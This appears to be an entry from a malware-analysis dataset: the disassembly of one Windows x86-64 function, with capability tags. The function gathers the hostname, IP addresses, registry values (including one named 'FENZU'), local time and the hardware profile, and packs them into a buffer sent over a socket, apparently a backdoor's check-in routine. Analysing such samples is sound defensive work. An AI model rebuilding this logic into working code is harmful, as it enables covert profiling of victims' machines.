Function at 0x14000156c
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x410
mov dword [rsp + 0x68], 0xffffffff
mov ecx, 0xf90
call fcn.14002e84c
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov qword [rsp + 0x60], rax
mov r8d, 0xf90
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14002e760
mov rax, qword [rsp + 0x60]
mov byte [rax], 3
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rsp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov r8d, 0x100
xor edx, edx
lea rcx, [rsp + 0x2b0]
call fcn.14002e760
mov edx, 0x100
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x190], rax
cmp qword [rsp + 0x190], 0
je 0x1400016e4
mov dword [rsp + 0x3b0], 0
jmp 0x14000165a
mov eax, dword [rsp + 0x3b0]
inc eax
mov dword [rsp + 0x3b0], eax
movsxd rax, dword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rcx + rax*8]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0x90]
call fcn.14002e6c8
lea r8, str._n
mov edx, 0x100
lea rcx, [rsp + 0x90]
call fcn.14002e6c8
movsxd rax, dword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rsp + 0x190]
movsx rdx, word [rdx + 0x12]
add rdx, qword [rcx + rax*8]
mov rax, rdx
mov rcx, qword [rsp + 0x190]
cmp rax, qword [rcx]
jb 0x1400016df
jmp 0x1400016e4
jmp 0x14000164a
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
lea r8, [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0x60]
add rax, 2
mov ecx, dword [rsp + 0x88]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.14000223c
test eax, eax
je 0x140001771
mov rax, qword [rsp + 0x60]
add rax, 0x200
lea rdx, [0x14004f8bc]
mov rcx, rax
call fcn.140003974
mov dword [rsp + 0x3c8], eax
jmp 0x140001792
mov rax, qword [rsp + 0x60]
add rax, 0x200
lea rdx, [0x14004f8c0]
mov rcx, rax
call fcn.140003974
mov dword [rsp + 0x3c8], eax
mov rax, qword [rsp + 0x60]
add rax, 0x598
mov rcx, rax
call fcn.140001d5c
cmp dword [rsp + 0x438], 0
je 0x1400017c0
lea rax, [0x14004f8d8]
mov qword [rsp + 0x3d0], rax
jmp 0x1400017cf
lea rax, [0x14004f8e8]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x60]
add rax, 0x796
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
add rcx, 0x796
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, str.FENZU
mov rdx, qword [rsp + 0x3d0]
mov rcx, 0xffffffff80000001
call fcn.140002bd4
cmp eax, 1
jge 0x14000184e
mov rax, qword [rsp + 0x60]
add rax, 0x796
lea rdx, [0x14006e9fc]
mov rcx, rax
call fcn.14000399c
cmp dword [rsp + 0x438], 0
je 0x140001869
lea rax, [0x14004f908]
mov qword [rsp + 0x3d8], rax
jmp 0x140001878
lea rax, [0x14004f918]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x60]
add rax, 0x7fa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
add rcx, 0x7fa
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, [0x14004f8f8]
mov rdx, qword [rsp + 0x3d8]
mov rcx, 0xffffffff80000001
call fcn.140002bd4
cmp eax, 1
jge 0x1400018f7
mov rax, qword [rsp + 0x60]
add rax, 0x7fa
lea rdx, str.3.14
mov rcx, rax
call fcn.14000399c
mov rax, qword [rsp + 0x60]
add rax, 0x85e
mov r8d, 0xa
mov rdx, rax
mov ecx, dword [rsp + 0x428]
call fcn.1400039c4
mov rax, qword [rsp + 0x60]
add rax, 0x9a8
mov rcx, rax
call fcn.1400028cc
call fcn.1400023e4
movzx eax, al
test eax, eax
je 0x140001959
mov rax, qword [rsp + 0x60]
add rax, 0xa16
lea rdx, [0x14004f8c4]
mov rcx, rax
call fcn.140003974
mov dword [rsp + 0x3e0], eax
jmp 0x14000197a
mov rax, qword [rsp + 0x60]
add rax, 0xa16
lea rdx, [0x14004f8d4]
mov rcx, rax
call fcn.140003974
mov dword [rsp + 0x3e0], eax
call fcn.14000214c
mov rcx, qword [rsp + 0x60]
add rcx, 0xc28
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x78]
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x7a]
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0x7e]
mov word [rsp + 0x2a0], ax
movzx eax, word [rsp + 0x80]
mov word [rsp + 0x6c], ax
movzx eax, word [rsp + 0x82]
mov word [rsp + 0x58], ax
movzx eax, word [rsp + 0x84]
mov word [rsp + 0x50], ax
movzx eax, word [rsp + 0x50]
movzx ecx, word [rsp + 0x58]
movzx edx, word [rsp + 0x6c]
movzx edi, word [rsp + 0x2a0]
movzx r8d, word [rsp + 0x54]
movzx r9d, word [rsp + 0x70]
mov r10, qword [rsp + 0x60]
add r10, 0x8c2
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0x430]
lea rdx, [0x14004f930]
mov rcx, r10
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rsp + 0x60]
add rax, 0x926
lea rdx, [0x14004f928]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
je 0x140001b05
mov rax, qword [rsp + 0x60]
add rax, 0xa0c
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov rdx, qword [rsp + 0x60]
add rdx, 0x318
mov rdi, qword [rsp + 0x60]
add rdi, 0x2dc
mov r8, qword [rsp + 0x60]
add r8, 0x214
mov qword [rsp + 0x3e8], r8
mov r9, qword [rsp + 0x60]
add r9, 0xf2e
mov qword [rsp + 0x3f0], r9
lea r10, [rsp + 0x1a4]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8, rdi
mov rax, qword [rsp + 0x3e8]
mov rdx, rax
mov rax, qword [rsp + 0x3f0]
mov rcx, rax
call fcn.140001bec
jmp 0x140001b8d
mov rax, qword [rsp + 0x60]
add rax, 0xa0c
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov rdx, qword [rsp + 0x60]
add rdx, 0x318
mov rdi, qword [rsp + 0x60]
add rdi, 0x2dc
mov r8, qword [rsp + 0x60]
add r8, 0x214
mov qword [rsp + 0x3f8], r8
mov r9, qword [rsp + 0x60]
add r9, 0xf2e
mov qword [rsp + 0x400], r9
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8, rdi
mov rax, qword [rsp + 0x3f8]
mov rdx, rax
mov rax, qword [rsp + 0x400]
mov rcx, rax
call fcn.140001bec
mov rax, qword [rsp + 0x420]
mov rax, qword [rax]
mov r8d, 0xf90
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x420]
call qword [rax + reloc.WS2_32.dll_recv]
mov dword [rsp + 0x68], eax
cmp qword [rsp + 0x60], 0
je 0x140001bdd
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x3c0], rax
mov rcx, qword [rsp + 0x3c0]
call fcn.14002e10c
mov qword [rsp + 0x60], 0
mov eax, dword [rsp + 0x68]
add rsp, 0x410
pop rdi
ret